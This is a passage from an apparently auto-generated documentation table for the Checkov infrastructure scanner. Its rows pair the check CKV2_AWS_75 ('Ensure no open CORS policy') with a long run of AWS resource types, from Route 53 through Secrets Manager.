[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1305 | CKV2_AWS_75 | resource | aws_route53_resolver_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1306 | CKV2_AWS_75 | resource | aws_route53_resolver_rule_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1307 | CKV2_AWS_75 | resource | aws_route53_traffic_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1308 | CKV2_AWS_75 | resource | aws_route53_traffic_policy_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1309 | CKV2_AWS_75 | resource | aws_route53_vpc_association_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1310 | CKV2_AWS_75 | resource | aws_route53_zone | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1311 | CKV2_AWS_75 | resource | aws_route53_zone_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1312 | CKV2_AWS_75 | resource | aws_route53domains_delegation_signer_record | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1313 | CKV2_AWS_75 | resource | aws_route53domains_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1314 | CKV2_AWS_75 | resource | aws_route53domains_registered_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1315 | CKV2_AWS_75 | resource | aws_route53profiles_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1316 | CKV2_AWS_75 | resource | aws_route53profiles_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1317 | CKV2_AWS_75 | resource | aws_route53profiles_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1318 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1319 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_control_panel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1320 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_routing_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1321 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_safety_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1322 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_cell | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1323 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_readiness_check | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1324 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_recovery_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1325 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_resource_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1326 | CKV2_AWS_75 | resource | aws_route_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1327 | CKV2_AWS_75 | resource | aws_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1328 | CKV2_AWS_75 | resource | aws_rum_app_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1329 | CKV2_AWS_75 | resource | aws_rum_metrics_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1330 | CKV2_AWS_75 | resource | aws_s3_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1331 | CKV2_AWS_75 | resource | aws_s3_account_public_access_block | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1332 | CKV2_AWS_75 | resource | aws_s3_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1333 | CKV2_AWS_75 | resource | aws_s3_bucket_accelerate_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1334 | CKV2_AWS_75 | resource | aws_s3_bucket_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1335 | CKV2_AWS_75 | resource | aws_s3_bucket_analytics_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1336 | CKV2_AWS_75 | resource | aws_s3_bucket_cors_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1337 | CKV2_AWS_75 | resource | aws_s3_bucket_intelligent_tiering_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1338 | CKV2_AWS_75 | resource | aws_s3_bucket_inventory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1339 | CKV2_AWS_75 | resource | aws_s3_bucket_lifecycle_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1340 | CKV2_AWS_75 | resource | aws_s3_bucket_logging | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1341 | CKV2_AWS_75 | resource | aws_s3_bucket_metric | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1342 | CKV2_AWS_75 | resource | aws_s3_bucket_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1343 | CKV2_AWS_75 | resource | aws_s3_bucket_object | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1344 | CKV2_AWS_75 | resource | aws_s3_bucket_object_lock_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1345 | CKV2_AWS_75 | resource | aws_s3_bucket_ownership_controls | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1346 | CKV2_AWS_75 | resource | aws_s3_bucket_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1347 | CKV2_AWS_75 | resource | aws_s3_bucket_public_access_block | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1348 | CKV2_AWS_75 | resource | aws_s3_bucket_replication_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1349 | CKV2_AWS_75 | resource | aws_s3_bucket_request_payment_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1350 | CKV2_AWS_75 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1351 | CKV2_AWS_75 | resource | aws_s3_bucket_versioning | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1352 | CKV2_AWS_75 | resource | aws_s3_bucket_website_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1353 | CKV2_AWS_75 | resource | aws_s3_directory_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1354 | CKV2_AWS_75 | resource | aws_s3_object | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1355 | CKV2_AWS_75 | resource | aws_s3_object_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1356 | CKV2_AWS_75 | resource | aws_s3control_access_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1357 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1358 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1359 | CKV2_AWS_75 | resource | aws_s3control_access_grants_location | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1360 | CKV2_AWS_75 | resource | aws_s3control_access_point_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1361 | CKV2_AWS_75 | resource | aws_s3control_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1362 | CKV2_AWS_75 | resource | aws_s3control_bucket_lifecycle_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1363 | CKV2_AWS_75 | resource | aws_s3control_bucket_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1364 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1365 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1366 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1367 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1368 | CKV2_AWS_75 | resource | aws_s3control_storage_lens_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1369 | CKV2_AWS_75 | resource | aws_s3outposts_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1370 | CKV2_AWS_75 | resource | aws_s3tables_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1371 | CKV2_AWS_75 | resource | aws_s3tables_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1372 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1373 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1374 | CKV2_AWS_75 | resource | aws_s3tables_table_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1375 | CKV2_AWS_75 | resource | aws_sagemaker_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1376 | CKV2_AWS_75 | resource | aws_sagemaker_app_image_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1377 | CKV2_AWS_75 | resource | aws_sagemaker_code_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1378 | CKV2_AWS_75 | resource | aws_sagemaker_data_quality_job_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1379 | CKV2_AWS_75 | resource | aws_sagemaker_device | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1380 | CKV2_AWS_75 | resource | aws_sagemaker_device_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1381 | CKV2_AWS_75 | resource | aws_sagemaker_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1382 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1383 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1384 | CKV2_AWS_75 | resource | aws_sagemaker_feature_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1385 | CKV2_AWS_75 | resource | aws_sagemaker_flow_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1386 | CKV2_AWS_75 | resource | aws_sagemaker_hub | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1387 | CKV2_AWS_75 | resource | aws_sagemaker_human_task_ui | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1388 | CKV2_AWS_75 | resource | aws_sagemaker_image | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1389 | CKV2_AWS_75 | resource | aws_sagemaker_image_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1390 | CKV2_AWS_75 | resource | aws_sagemaker_mlflow_tracking_server | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1391 | CKV2_AWS_75 | resource | aws_sagemaker_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1392 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1393 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1394 | CKV2_AWS_75 | resource | aws_sagemaker_monitoring_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1395 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1396 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance_lifecycle_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1397 | CKV2_AWS_75 | resource | aws_sagemaker_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1398 | CKV2_AWS_75 | resource | aws_sagemaker_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1399 | CKV2_AWS_75 | resource | aws_sagemaker_servicecatalog_portfolio_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1400 | CKV2_AWS_75 | resource | aws_sagemaker_space | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1401 | CKV2_AWS_75 | resource | aws_sagemaker_studio_lifecycle_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1402 | CKV2_AWS_75 | resource | aws_sagemaker_user_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1403 | CKV2_AWS_75 | resource | aws_sagemaker_workforce | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1404 | CKV2_AWS_75 | resource | aws_sagemaker_workteam | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1405 | CKV2_AWS_75 | resource | aws_scheduler_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1406 | CKV2_AWS_75 | resource | aws_scheduler_schedule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1407 | CKV2_AWS_75 | resource | aws_schemas_discoverer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1408 | CKV2_AWS_75 | resource | aws_schemas_registry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1409 | CKV2_AWS_75 | resource | aws_schemas_registry_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1410 | CKV2_AWS_75 | resource | aws_schemas_schema | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1411 | CKV2_AWS_75 | resource | aws_secretsmanager_secret | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1412 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1413 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_rotation | Ensure no open CORS policy | Cloudformation | 